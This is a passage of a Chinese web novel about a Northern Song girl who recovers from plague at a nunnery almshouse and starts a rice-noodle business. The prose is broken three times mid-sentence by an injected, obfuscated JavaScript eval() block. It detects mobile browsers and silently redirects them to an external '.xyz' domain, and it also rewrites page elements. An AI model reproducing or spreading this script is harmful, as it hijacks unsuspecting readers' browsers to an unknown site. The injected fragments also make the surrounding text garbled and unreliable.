《北宋女子创业记》 1. 第一章 宰相孙女 元祐元年（公元1086年），新法废除。 这年隆冬，北风卷着白毛雪刮向汴京城外的丰收村，丰收村村口有两条路，一条直通村庄，另一条延伸向半山腰的静缘庵。 静缘庵地处偏僻，香客稀少，庵里除了靠几个老尼姑种田贴补生活外平时也兼做福田院。【注1】 寄居在静缘庵里的除了孤寡老人和流民外，还有一对前几天刚来的姐弟。 这对姐弟自称是江宁人氏，来汴京寻亲未果，小娘子又染上了时疫，走投无路只好暂住在静缘庵里养病。 几个流民听说这对姐弟出身名门，忍不住好奇议论他们。 “听说王家小娘子已经病了快半个月了，一直未见好，也不知道能不能挨过这个冬天。” “估计快不行了，昨儿我听妙善师太说，要给小娘子准备后事呢。” “也真是可怜，明明是名门大户人家出身的小娘子，怎么会流落到这种地方来。” “这个王家小娘子到底什么来历？” “据说好像是京城大官的远房亲戚。” “我怎么听说是江宁府书香世家的小娘子。” “他们姐弟二人大老远从江宁府跑到汴京城来做什么？” “听说是家道中落来京城投奔未婚夫家，结果却被退了亲。” “王小娘子真可怜，退了亲的女子就算条件再好，怕是也嫁不出去了。” “还提嫁人做什么，王小娘子能不能活下来都是个问题。” “唉，真是可怜哪。” 窝在角落里正就着一只破口的陶碗喝稀饭的周婆子忍不住撇了撇嘴角，这帮流民连自己的肚子都填不饱，居然还有心思同情别人。 “什么东西这么香？”瘸了一条腿的流民王大崔耸起鼻子嗅了又嗅，早上填进肚子的一碗稀粥早就消化干净，变成了一泡黄尿。 推开柴门进来的张二嫂听见这话下意识把藏在身上的一只红薯捂得更紧了些。 “张二嫂，你又从灶房里偷偷带什么好吃的东西回来了？”王大崔不仅鼻子灵，眼睛还尖，一下就看见张二嫂身上掖着什么宝贝。 张二嫂皱皱眉：“没啥好东西，一个红薯而已。” “红薯啊，虽然吃多了容易放屁，但比稀饭可饱腹多了。”王大崔舔了舔嘴：“张二嫂，还有多的吗？分我半个吧。” “没有！”张二嫂断然拒绝，这个红薯是她给庵堂后厨帮工省下来的口粮，想着两个孩子早上都没吃饱就偷偷藏起来带回。 张二嫂背着身子将红薯掰开分给蜷缩在草堆上的两个面黄肌瘦的孩子。看着两个孩子狼吞虎咽的样子，张二嫂心里难免苦涩，王小娘子可怜，自个孩子又好得到哪儿去。她一个寡妇带着两个孩子出来逃难，仅靠这福田院救济，吃不饱也穿不暖，往后的日子该怎么过啊。 “阿姊——”隔壁传来男孩凄厉的呼喊声，紧接着是碗盘的碎裂声。 张二嫂吓了一跳，难道是王小娘子殁了？ 隔壁本是柴房，因王小娘子感染时疫，静缘庵的老尼便将她隔离在此，平日里几乎没人敢靠近柴房的门，都怕被感染。 王家小郎君跑到柴房门口，放声大哭：“快来人哪，救救我阿姊——” 一屋子的人面面相觑，你看看我，我看看你，谁也没有要主动出去帮忙的意思。寒冷、饥饿、贫穷早就把人性中的善良同情磨灭了，在生存面前自保才是唯一的选择。 张二嫂咬咬牙，那孩子的哭声让她动了恻隐之心，王家姐弟比自己的孩子大不了几岁，将心比心她又怎么能忍心见死不救。 在众人或不解、或嘲弄、或好奇的目光中，张二嫂还是挺身站了出来。 漫天飞雪中，衣着单薄的王家小郎君犹如枝头一片干枯的叶子，摇摇欲坠。这个原本五官清秀、皮肤白皙的孩子饿得两颊凹陷、瘦骨嶙峋。过去这半年，祖父母接连亡故，姐弟俩投亲无门，流落街头。如果不是蔡府的门房多了点怜悯心，将他们扔在这静缘庵门口，他跟阿姊怕是早就冻死在了汴京城里。 “小郎君，快进屋去，你看你都快冻僵了。”张二嫂上前将王小郎君搂在怀里，推进了柴房。 孤立无援的王小郎君因为张二嫂一句暖心的话彻底破防，他像抓住了救命稻草一样下跪哀求：“婶子，求你救救我阿姊。” “快，快起来，婶子受不起。”张二嫂扶起王小郎君，替他擦去脸上的泪水，叹气：“婶子不是神仙，你阿姊能不能活下来得看天意，看她自己啊。” 王小郎君狠狠抹去脸上的泪水，点头：“我知道，阿姊说过，尽人事，听天命。” 张二嫂在心里暗赞，书香门第养出来的小郎君果然跟他们这些种地人家的不一样，才七八岁的孩子已经像个小大人一样懂事了。 王小郎君将张二嫂引到草垛边，躺在上面的王小娘子已经多日滴水未进，苍白的脸上泛着青，眉宇紧蹙，嘴唇干燥得起了皮，瘦弱的躯体被一层破棉絮紧紧裹着，像一具了无生气的尸体。 张二嫂上前探了探王小娘子的鼻息，还好，还有呼吸，再用手背试了试她的额头，有些烫，便转头对王小郎君说：“小娘子已经几天没进食了？” “三天了。”王家小郎君哽咽：“婶子，阿姊是不是快要死了？” 张二嫂宽慰他：“别怕，你阿姊只是发烧，只要还能喝下水就不会有事。” 王小郎君赶紧从一旁的陶罐里倒出一碗水来递给张二嫂，张二嫂摇了摇头，说：“这水太冰了，最好弄点热水来。” 王小郎君为难地看了看四周，眼前这间茅草屋甚至不能用家徒四壁来形容，三面干打垒的泥巴墙已经斑驳脱落，看起来摇摇欲坠，有坍塌的趋势。屋顶的茅草也稀稀疏疏的，北风一刮，冷空气飕飕往屋内乱蹿。 张二嫂心里把静缘庵的老尼姑骂了一通，天寒地冻把两个孩子关在一间连火塘都没有的柴房里摆明了是想让他们自生自灭。 “我去灶房弄点热水来。”张二嫂说完就跑了出去，出门前还细心地替他们掩上了柴房的门。 王小郎君跪坐在王小娘子身前，使劲搓着他阿姊冰凉的手，哽咽道：“阿姊，你一定要好起来，别丢下我一个人，我害怕……” 不知道是不是听到了阿弟的呼喊，王小娘子眼睫微微颤动。 柴房的门被再度打开，一阵寒风随之卷入，王小娘子的身体蜷了蜷。 “水来了。”张二嫂捧着一碗还带着热气的米汤过来，笑着说：“灶房的锅底还剩着一点米汤，我掺了点热水，给小娘子喝下去垫垫肚子，驱驱寒。” 王小郎君感激得说不出话来，一个劲点头道谢。 王小郎君将他阿姊从草垛上扶起来靠在自己身上，张二嫂用勺子一点一滴将米汤送进王小娘子的嘴里。一开始灌进去的热汤全都沿着嘴角淌了下来，慢慢的王小娘子就有了反应，开始张嘴主动吸吮汤汁，就像沙漠里即将渴死的人遇到甘露一般狼吞虎咽。 王小娘子的变化令张二嫂和王小郎君很受鼓舞。 给王小娘子喂下半碗米汤后，张二嫂便停下了手，说：“先喂这么多，一下吃进去太多，我怕小娘子受不住会呕出来。” 王小郎君将阿姊放平躺好，随后起身含着泪向张二嫂行了一个大礼：“多谢婶子救了我阿姊一命，请受我一拜。” 张二嫂唬得差点跳起来，赶紧上前阻止：“小郎君折煞我了，只是一碗米汤，实在当不起你这样大的礼。” “不，婶子，你受得起。”一把涩哑的声音从旁传来。 张二嫂诧异回头，赫然发现王小娘子居然睁开了眼，那双眼睛像是浸泡在水中的黑葡萄般乌亮清澈，令整张病恹恹的脸都生动了起来。 “阿姊——”王小郎君扑倒在王小娘子身前，又惊喜又不敢置信，泪失禁一般哭得稀里哗啦。 王小娘子强撑着欠起上半身向张二嫂行礼：“婶子，多谢你救我一命。” 张二嫂将王小娘子按下躺平，眼湿湿地说：“我什么都没做，就是给小娘子你灌了两口米汤，当不起，实在当不起。” 注意到王小娘子干裂起皮的唇，张二嫂又说：“小娘子你病了这么多日，一定饿了吧？我去问师太借点米给你煮点稀饭吃。”说完也没等王小娘子点头转身就跑了出去。 真是个热心又善良的好人，王文茵舔了舔干燥的唇，张二嫂甚至都不知道他们姐弟的真实来历，单凭一腔冲动就对他们施以援手，而他们的族亲和那些曾受过祖父恩惠的人却将他们如老鼠般赶到大街上，任由他们自生自灭。 “阿姊，你昏迷了好多天，我真的很怕你会死掉。”王小郎君抽抽嗒嗒，哭得上气不接下气。 王文茵虚弱地抬起手揉了揉阿弟的颅顶，嘴角牵出一丝干裂的笑：“别怕，阿姊已经没事了。”抬眼看了看四周，问道：“阿弟，这是哪里？” “这是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822215|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静缘庵，是蔡府的门房把我们送来这里的，他说这里是福田院，可以容留我们。”王小郎君咬着牙说：“阿姊病倒后蔡府的仆役就把我们赶出了门，我去找过二姑母，她却避而不见，只叫下人拿了几两银子将我打发走，完全不顾我们的死活。” 王文茵闻言淡笑一声，树倒猢狲散，现实中人多是落井下石，极少雪中送炭。 半年前，旧党宰相司马相公当朝废除新法，二姑母的夫家蔡氏兄弟果断背叛了祖父和他的新党，厚颜无耻地投靠了旧党。 新法废除后没多久，罢相贬官的祖父郁愤而终，王家家道从此一落千丈。曾经受过祖父恩惠的人一个个倒戈相向，纷纷与王家划清界限。 蔡家也遣人送来一封信，信中委婉提出当初与祖父口头约定的婚事实属玩笑话，做不得数，既然祖父已驾鹤仙去，那么这件事也就当作没发生过，双方家人可自行安排儿女的婚嫁，从此互不相干。 这封退婚信着实把祖母吴氏给惹毛了。 心高气傲的吴氏早就对首鼠两端的蔡家心生不满，有意将孙女王文茵这桩指腹为婚的亲事悔掉，却不想被蔡家捷足先登，不但落了王家好大一个面子，还对王文茵的声誉造成了负面影响。于是，心怀不满的吴氏便带着王文茵姐弟前往汴京对蔡家发难。 谁曾想吴氏到了汴京才知道蔡家长兄因背叛新党已被谏官弹劾，贬去了成都。 气急败坏的吴氏经过这一路的折腾，又感染了时疫，没过多久就病逝了。 吴氏过世后，王文茵也感染了时疫，她的二姑母担心夫家会因娘家的事迁怒自己，狠心将病得奄奄一息的王文茵和她阿弟一起赶出了蔡府。 许是命不该绝，在病入膏肓、不省人事的这段日子里，王文茵竟然魂穿太虚，穿越去了一千年以后名为“现代”的后世。在那里她不仅见识了许多新鲜的事物，也了解到现代女性跟她所处的北宋朝女子有多么不同。 现代女子不但可以跟男子一起上学堂，还能参加科举，当官营商。她们不必依附于男人，婚姻更不是她们唯一的奋斗目标，女子可以结婚，也可以终身不嫁。 虽然现代女性依然会面临来自社会和家庭的压力，但只要通过自身努力，实现财务自由，那便能掌握自己人生的决定权，靠自己的双手创造幸福。 这段神奇的经历给了王文茵面对绝境的勇气，她拍了拍王小郎君的手，乐观地说：“既然没死，那就好好活下去。” “可是阿姊，我们现在身无分文，祖母也已经不在了，要怎样才能好好活下去？”王小郎君很是犯愁。 王文茵脑海中闪过无数现代人写的重生穿越文，不禁哑然失笑，自我嘲解道：“用后世的话说，这就叫重生后的地狱式开局。” 王小郎君瞠目结舌：“阿姊，你在说什么胡话？什么后世、重生，什么地狱、开局的？我怎么一个字也听不懂。” 王文茵意识到她在太虚幻境中经历的事即便说出来也不会有人信，便含糊其辞道：“阿姊的意思是咱们有手有脚，再多的困难都能被克服。今后，咱们不但要活下去，还要活得很好。” 王小郎君眨眨眼，阿姊这话听起来怎么怪怪的，感觉她大病一场后跟变了个人似的，浑然不似从前那般软弱缺少主见。 “稀饭来了。”张二嫂推门进来，脸上带着一抹邀功的笑容：“我好说歹说才说服了妙善师太赊了我一小把米熬了这碗稀饭，小娘子快趁热吃了吧，吃饱了才有精神活下去。” 原来张二嫂进门前听见了姐弟二人的对话。 王文茵在王小郎君的帮助下支起上半身靠墙坐好，接过张二嫂手里的陶碗，用筷子捞起沉在碗底的几粒米，小心翼翼地拨进嘴里，仔细咀嚼，诧异地抬眸：“这是占城稻？” “咳咳，这是小禾谷，口感不如大禾谷那般好，庵里给我们吃的都是这种籼米，粳米师太都留着自己吃呢。”张二嫂歉疚地说：“小娘子出身富贵，以前怕是没吃过小禾谷吧？” 小禾谷就是占城稻。占城稻是籼米，口感不像粳米那样香糯可口。【注2】 王文茵摇了摇头：“不，婶子，这籼米是好米，只是你打开的方式不对，只需换一种做法它的口感将远胜粳米和糯米。” “啥？啥叫打开方式？”张二嫂听得糊涂，不过倒是听懂了后半句话：“这小禾谷还能比大禾谷好吃？” 王文茵点了点头，双目灼灼：“我知道该怎么做了！” 2. 第二章 启动创业 在王文茵的坚持下，张二嫂搀扶着她去了静缘庵的灶房。 灶房离柴房不远，中间隔着一间兼做仓库用的杂物房。 静缘庵的灶房比王文茵想象中要宽敞得多，各类烹饪器皿也很齐全。 王文茵四下看了看，转头问张二嫂：“婶子，此处可有石磨。” “有的，在隔壁储藏粮食的仓房里，不过仓房门被住持师太锁上了。”张二嫂压低声音说：“怕人偷东西，平时都不准我们靠近呢。” 王文茵从脖子上解下一根红线，红线上坠着一块晶莹温润的玉佩，这是一块上好的和田玉雕琢而成的观音像，一看就价值不菲。 王文茵将玉佩放到张二嫂掌心：“婶子，麻烦你把这块玉转交给住持师太，跟她说我想赊一石【注1】陈年籼米。” 张二嫂吓了一跳，将玉佩推了回去：“小娘子，这可使不得，你这块玉佩能值不少钱呢，拿去换一石陈年的籼米太不合算了。” “婶子，你有所不知，这块玉佩是我娘留给我的，是我身上唯一值钱的物什，我想用这块玉佩作抵押，除了赊一石陈年的籼米外，还想跟师太借这庵里的厨房一用。”王文茵冲张二嫂微微颔首。 张二嫂虽然不解，但看这王小娘子的模样不像是糊涂人，倒是更像个有主见的，便放下心来，点了点头道：“好，我这就去跟妙善师太说。” 张二嫂离开后，王小郎君急道：“阿姊，你怎么能把阿娘留给你的玉佩拿去典押，万一丢了怎么办？” 王文茵胸有成竹地说：“放心吧，丢不了。阿姊要用这块玉佩做创业的启动资金，赚很多很多银子回来。有了银子，咱们就不会饿肚子，也不必流落街头了。” “可是阿姊，什么叫创业启动资金？”王小郎君一脸懵，阿姊现在说的话真是越来越难懂了。 “就是……咳……”王文茵发现自己又说漏嘴了：“就是用来赚更多钱的本金。” 王小郎君简直不敢相信这话是从他那柔弱不能自理的阿姊嘴里冒出来的：“阿姊，你打算用什么赚钱呢？” “你很快就知道了。”王文茵拍了拍王小郎君的脑袋，神秘一笑。 张二嫂回来的时候身边还跟着一位身材高瘦的冷面女尼。 “这位是住持师太的亲传弟子静尘师太。”张二嫂在王文茵耳边悄声提醒。 王文茵给静尘行了个礼，不想静尘却嫌弃地倒退一步，掩住口鼻，皱眉问道：“你既染了时疫为何还到处乱跑，传染给其他人怎么办？” 没等王文茵开口，张二嫂已经抢先替她解释：“师太，小娘子的时疫已经好了，你看我也没被感染不是。” 静尘将信将疑，上下打量王文茵，发现她虽然看着还很虚弱，精神头倒是挺足的，跟刚来时候病恹恹的样子完全判若两人。 “听说你想赊一石陈年的籼米？” “正是。”王文茵颔首。 静尘板正着脸说：“你那块玉佩虽是好玉，但若是拿去变卖也未见得能卖出什么好价。且今年收成不好，官府的救济粮还没拨下来，眼下这么多人等着吃饭，庵里的存粮能不能扛过这个冬天还不好说，你开口就要赊一石米，我怕是不能答应。” 王文茵想了想说：“既是如此，那我便先问师太赊五斗米，待他日还上后再取五斗，如此可好？” 静尘犹豫再三后，点头：“可以先赊五斗米给你，但需支付利息。” 王文茵笑了笑，说：“师太想要多少利息？” “不多，”静尘伸出一根手指：“月息一分。” 王文茵觉得可以接受，便点头表示同意。 静尘担心王文茵不清楚眼下的米价，到时候赖她贪婪，没得毁她一个出家人的好名声，又道：“依照如今这民价，京城里一石粳米便要一千文【注2】，陈年籼米就算折个价也要七百文一石，你可知道？” 王文茵其实并不清楚京城里具体的米价，但见这静尘虽然高傲精明，却不似奸滑之人，给的价格也算公道，便点头：“知道。” “你既知道，那便与我立字为据，即日生效。”静尘拿出一份契书来交于王文茵。 王文茵接过契书，仔细浏览过后，抬头道：“敢问师太，这契书所定的米价是指官陌还是足陌？【注3】” 静尘暗暗惊讶，这个王家小娘子看上去不谙世事，心里倒是门清，看样子不是个好糊弄的，不过她本来也没想要糊弄她，便道：“既是民价，那自然是按足陌算。” 王文茵又说：“除了赊一石米之外，我还想跟师太借庵里的灶房一用。当然，既是借用便没有白用的道理，油盐柴禾借多少还多少。此外，我再额外多付一分利息，不知师太意下如何？” 静尘快速盘算了一下，只是借灶房一用便能多得一分利，倒也划算，当即应允：“灶房可以借你使用，但只能在夜间，日间不行。” “可以。”王文茵爽快答应。 双方签字画押立契后，静尘才拿出隔壁仓房的钥匙来交与张二嫂，让她去取五斗陈年籼米出来给王文茵。 “且慢。”王文茵对静尘说：“师太，我还想借仓房里的石磨一用。” 静尘嫌麻烦，本想拒绝，再一想灶房都借了，也不差一个石磨，皱皱眉道：“我这儿可没人手，你若是搬得动，便拿去用。” “多谢师太。”王文茵对静尘福了一福，转而对张二嫂说：“婶子，麻烦你去帮我请两名男子来搬一下石磨，我会另外支付酬劳。” “成！”张二嫂心想，别看这王小娘子年纪不大，做事倒是面面俱到还很爽利。 听说王小娘子要请人帮忙搬石磨，还给酬劳，流民王大崔第一个跳出来自荐。张二嫂嫌他嘴碎话多本不想用他，但看了看余下诸人，尽是些老弱病残幼，没得选，勉为其难应允了。 “二婶子，能把俺爹也算上吗？”瘦瘦小小的李阿萍怯生生地问了句。 李阿萍的爹李三毛天聋地哑，干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822216|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枯苍老，还是个罗锅，这样的人能搬得动石磨吗？张二嫂心里直打鼓。 大约是看出了张二嫂的犹豫不决，李阿萍赶忙添了一句：“婶子，你别看我爹这样，他力气可大咧，你就让他去试试吧，要是他搬不动，俺们也不要酬劳。” 张二嫂最是容易心软，经不住李阿萍的再三恳求，只好说：“那就去试试吧。” 张二嫂将瘸子王大崔和哑巴李三毛带回了灶间，王文茵十分有礼地上前福了一福，这可把他们吓得不轻。 “使不得，使不得，小娘子快请起！”王大崔尴尬地搓了搓手，想扶又不敢扶，垂着眼皮偷偷打量王文茵。 这还是他第一次见到王文茵本人，王大崔心里暗暗惊讶，没想到这个传说中的王小娘子居然只是个十岁大的女娃。不过，王小娘子虽然年幼，但这周身气度却跟年龄相仿的李三毛家大丫头有着天壤之别，一看就是能担事儿的那种人。 张二嫂轻轻咳了一声，用眼神示意王大崔、李三毛跟她进去仓房搬石磨。 仓房里这扇石磨看着不大，却也有上百公斤重。王大崔和李三毛虽说都是成年男子，但一个瘸一个驼，两人合力搬石磨居然还有点费劲。 “王大崔，你的力气怎么比李三叔还小？”张二嫂忍不住嘟囔了一句。 这下可激起了王大崔身为男人的自尊心，自己虽然是瘸子，好歹也比李三毛那个罗锅年轻强壮，怎么能被他比下去。于是憋着一口气，咬紧后槽牙，一鼓作气将石磨搬到了灶间才敢泄气。 安放好石磨，王大崔和李三毛双双垂着手，眼巴巴望着王文茵，等着她允诺的酬劳。 王文茵会心一笑，协商道：“两位阿叔，眼下我手头没有铜钱，二位若是不嫌弃，我可以用吃食答谢二位的帮忙。” 王大崔心想，给吃食比给铜钱合算，铜钱还要拿去山下村子里跟农户换粮，也不知能换多少。 “能给……给多少吃食？”王大崔问。 “管饱。”王文茵爽快道。 不过是帮忙搬个石磨，王小娘子就能给一顿饱饭吃，这是天上掉馅饼的好事啊。王大崔连比带划跟李三毛商量，理解能力超强的李三毛连连点头表示同意。 王文茵松了一口气，笑着说：“那就请两位阿叔先回屋子稍等片刻，等下做完吃食我再给二位送过去。” 待王大崔他们都离开后，张二嫂这才忍不住好奇问道：“小娘子，你打算用这陈年籼米做什么吃食？” 王文茵眨眨眼：“米粉。”【注5】 米粉是啥？张二嫂从来没听说过，不过她相信王小娘子见多识广，给她干活说不定还能让两个孩子吃饱饭，便自告奋勇提出要给王文茵打下手。 王文茵也正有此意，以她目前的体力根本推不动石磨，张二嫂是个良善可信之人，有她协助必将事半功倍。 “多谢婶子。”王文茵上前握住张二嫂的手，说：“客套话我就不说了，咱们现在就开始做米粉。” 3. 第三章 米粉诞生 王文茵从袋子里抓起一把籼米来捻搓了两下，说：“这是早籼稻【注1】。” 张二嫂有些吃惊：“小娘子，你怎么知道这是早籼稻，而不是晚籼稻？” 王文茵用拇指捻了捻米粒，米粒很容易就被碾碎了：“早籼稻的米质比较疏松，没有黏性，所以吃起来口感差，一般都用来作为储备粮。”【注2】 张二嫂恍然大悟：“怪道富贵人家都不吃早籼稻，也只有我们穷人能靠这米充饥。” “早籼稻也不是一无是处。”王文茵说：“这种稻谷产量高，比较耐贮藏，营养品质比中晚籼稻谷要好很多。”【注2】 “啥叫营养品质？”张二嫂发现王小娘子说的这些关于稻谷的事儿是她种了半辈子地都不曾听说过的。 “咳……”意识到自己又说漏了嘴，王文茵赶紧解释：“就是吃下去对身体好的意思。” 张二嫂睁大了眼：“这么说，这早籼稻竟还是好米？” “正是。” 张二嫂捏起一粒米放进嘴里嚼了嚼，叹气：“早籼稻要是能好吃些就更好了。” 王文茵点头：“比起直接食用，早籼稻其实更适合做点心、酿酒，或制成米粉。”【注2】 “小娘子，你说，我来做。”张二嫂喜滋滋撸起袖管，她对这“米粉”实在好奇极了，不知道做出来到底是啥样子的，好不好吃还在其次，管不管饱才是关键。 “米粉有几种做法，既有扁的、宽的，也有圆的米线，还有片筒状的肠粉。”王文茵说：“咱们今日先尝试做一种最简单的宽扁米粉。”【注2】 在王文茵的指点下，张二嫂取出一斗籼米，将之淘洗干净后浸泡在净水中。 一个时辰后，王文茵从水中捞起几粒米来搓了搓，转头对张二嫂说：“做米粉的米通常需要浸泡过夜，使大米发胀，这样做出来的米粉才不容易断，比较有韧劲。”【注2】 张二嫂点了点头，用心把王文茵说的每一个字都牢牢记下。 “今日比较特殊，先取一半出来磨浆，余下的明日再磨。”王文茵不想浪费时间，静尘师太规定她们只能在夜间使用灶房，磨米浆就挺费功夫的。 说干就干，张二嫂将浸泡过的米舀出一半来放到桶里，打算用泡过米的水和着大米一起放进石磨里磨浆，被王文茵及时制止了。 “泡过米的水中溶解了不少淀粉，会增加粉的黏性。”王文茵解释道，见张二嫂一脸糊涂，便换了一种说法：“婶子，你只需记得，用泡米水磨出来的米浆做成的米粉口感不好就成。”【注2】 这句话张二嫂听懂了，点头道：“懂了，那我就用清水和米磨浆。” 王文茵含笑点头。 张二嫂将一勺沥干水的籼米加入磨盘上的棋眼内，在加清水前迟疑地看向王文茵：“小娘子，一勺米该加多少清水合适？” 对于自己不懂的事张二嫂已经学会先请示一下王文茵。 王文茵仔细回想了一番，依稀记得后世的人用一斤米就能制出两斤鲜米粉【注3】，便道：“先加两勺清水试试。” “哎，好！”得到王文茵的指示，张二嫂甩开膀子，吭哧吭哧推起了石磨。 张二嫂虽是农妇出身，但要推动这上百公斤重的石磨也是有点费力，推了没多会儿已经有些气喘。且因石磨的推杆太短，王家姐弟就是想帮忙也无从下手，与其给张二嫂添乱不如做些力所能及的事。 王文茵跟王小郎君试着给灶台烧火热水，姐弟俩都是第一次下厨，手忙脚乱折腾半天也没能把灶火点燃。最后两人在张二嫂的指点下，清理干净灶膛里的炉灰，再用干树叶引燃玉米棒，待玉米棒开始燃烧后才添加柴禾，总算是把一锅水给烧开了。 这边水刚烧开，那边张二嫂已经将米浆磨出来了。 米浆需要蒸熟才能做成米粉。 现代人做米粉通常会将薄薄一层米浆挂在导热性好的不锈钢盘或铝盘上，再用蒸汽快速加热蒸熟。但北宋还没有不锈钢跟铝，只能用别的器具代替。 王文茵四处找了找，发现地上有一只洗菜用的扁圆木盆，便将其搬起来，搁置在烧开水的铁锅上，底部用两根木棍悬空支撑，这样水蒸气上升，木盆底部受热，盖上锅盖盆里的米浆很容易就被蒸熟了。 为怕蒸熟的米浆黏连在盆壁上，王文茵事先抹了一层猪油在盆底。 宋代虽然已经开始食用植物油，但受限于榨油技术，产量较高的是胡麻油【注4】。芝麻在宋代被广泛种植于各地，不过北宋的胡麻油价格还是很高，底层人吃不起胡麻油，食用最多的是猪油之类的动物油脂。 静缘庵的胡麻油是供尖，静尘怎么舍得给王文茵，只将一罐尼姑们都不吃的猪油拿出来打发她。 王文茵岂会不知猪油跟麻油的差别，但只要不是用来炒菜，仅是涂抹防黏连，那么用猪油跟用胡麻油其实没什么区别。 将米浆舀一勺淋入木盆，左右旋转木盆，使盆底的米浆均匀摊平，随后上锅蒸制半炷香【注5】的功夫，米浆便成了半透明的米皮。蒸熟的米皮需要先放凉才能切条，张二嫂从院子里找来晾衣服的竹竿，用干净的布洗净抹干正好用来晾米皮。 长竹竿上很快就挂满了一张张犹如婴儿般洁白澄澈、柔嫩弹滑的米皮。 王小郎君用手指轻轻触碰米皮，口水已经快止不住了：“阿姊，我能尝一口吗？” “能啊。”王文茵笑着给王小郎君擦擦嘴：“阿姊马上给你做一大碗猪油拌粉吃。” 王文茵从竹竿上取下已经晾凉的米皮，放到案板上对折叠起来，用刀切成三分宽【注6】，放入陶碗里，拌上猪油，再撒点盐调味，分给大家品尝。 王小郎君迫不及待地将猪油拌饭嗦进嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822217|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里，瞬时瞪大了眼，带着不可置信的表情将一大碗米粉囫囵吞了下去，吃完舔舔嘴，巴巴盯着竹竿上的米皮，馋道：“阿姊，我还能再吃一碗吗？” “米粉不容易消化，一顿不能吃太多。”王文茵转头问张二嫂：“婶子，你觉得好吃吗？” 张二嫂用筷子挑起一根米粉送进嘴里，细细咀嚼。这米粉入口柔滑筋道、富有嚼劲，若非亲自参与了整个制作过程，她简直不敢相信这么好吃的米粉居然是用难吃得要死的早籼米做成的。 “小娘子，你有点石成金的本领吗，这米粉实在太好吃了！”张二嫂将舍不得独享，放下筷子羞涩道：“我能带回去让两个孩子也尝尝吗？” “婶子，你尽管吃，等下再做几份给孩子们带去，想吃多少有多少。” 张二嫂突然放下陶碗，扑通一声跪倒在王文茵面前，把王文茵吓了一跳：“婶子，你这是干嘛？” 张二嫂的眼泪在眼眶里打转，哽咽着说：“小娘子，你把我收下当个粗使的婆子使唤吧，只要能让两个孩子吃饱饭，我干什么都行。” 王文茵上前将张二嫂扶起来，说：“婶子，你愿帮我，我求之不得。但我不能把你当粗使的婆子用，我想让你做我的合伙人。” “啥叫合伙人？” “合伙人啊……”王文茵找了一个相对容易理解的词解释：“就是掌柜的意思。” 张二嫂激动起来：“小娘子，你让我做掌柜？我，我，我行吗？” “有什么不行的。”王文茵道：“婶子你心好又肯吃苦，想你这样的掌柜我是打着灯笼也找不到第二个。” 张二嫂喜极而泣：“小娘子，你肯信我，我定不辜负你！” 王文茵将竹竿上剩余的米皮做成几碗米粉，除了其中一碗不加任何调料，其他均做成猪油拌粉，让张二嫂送去给王大崔和李三毛他们作为酬劳，自己则端着一碗米粉前去找静缘庵的住持师太妙善。 已过亥时，庵里的女尼们刚结束晚课。 静尘将王文茵挡在门外，板着脸问她：“找师父何事？” 王文茵将托盘往前一送：“这是刚出锅的米粉，想请妙善师太尝尝，感谢她赊我米粮。” 静尘本想拒绝，师父早已用过药食，马上就要止静，但面前这碗米粉如玉带般莹润，看着就挺稀罕，不知道吃起来什么感觉，便改口道：“小娘子有心了，我会帮你转交给师父。” “多谢师太。”王文茵将托盘交给静尘，想起什么似的又叮嘱了一句：“吃之前记得淋几滴胡麻油与米粉拌匀，再撒点盐末提味，口感更佳。”说完便转身离开。 王文茵刚回到灶房不久，静尘就寻了上来：“王小娘子，师父想请你过去坐坐。” 静尘的态度有了明显的变化。 王文茵会心一笑，颔首：“烦请师太稍候，我换身衣服便去。” 4. 第四章 猪油拌粉 静尘将王文茵带到前院东边的禅房内。 屋内有位体态龙钟的老尼坐在蒲团上打坐，见静尘带着一名十岁左右的女娃进门，眼中闪过一抹诧色。 这是住持妙善第一次与王文茵见面，之前听静尘提及，说她是蔡家二房夫人的远房亲戚，因家道中落，来京城投奔未婚夫家，不想却被退了亲，又感染了时疫，蔡府不便容留她，让门房将她们姐弟送来福田院静养，只留下一锭银子，之后便再也没了音讯。 蔡家二房夫人的来历妙善是知道的，虽是前朝宰相之女，但王家早已没落。兼之当今太后对新党成员颇为憎恶，蔡家长房相公已被贬去蜀地，她自然是没将这位蔡家二房夫人的远房侄女放在心上，任由她们姐弟二人自生自灭。 不想，今日一见这王家小娘子，年纪虽幼，周身气度却是不凡，心里不禁疑惑，莫非是自己看走眼了？若眼前这位王家小娘子并非什么蔡家二房夫人的远房亲戚，而是她的嫡亲侄女，那岂不是给自己接手了一个烫手山芋？ 妙善不动声色颔首：“王小娘子，身体贵恙？” 王文茵向妙善行了一礼，道：“多谢师太照拂，已无大碍。” 妙善闻言尴尬一笑，抬手示意徒弟：“静尘，给王小娘子看座。” 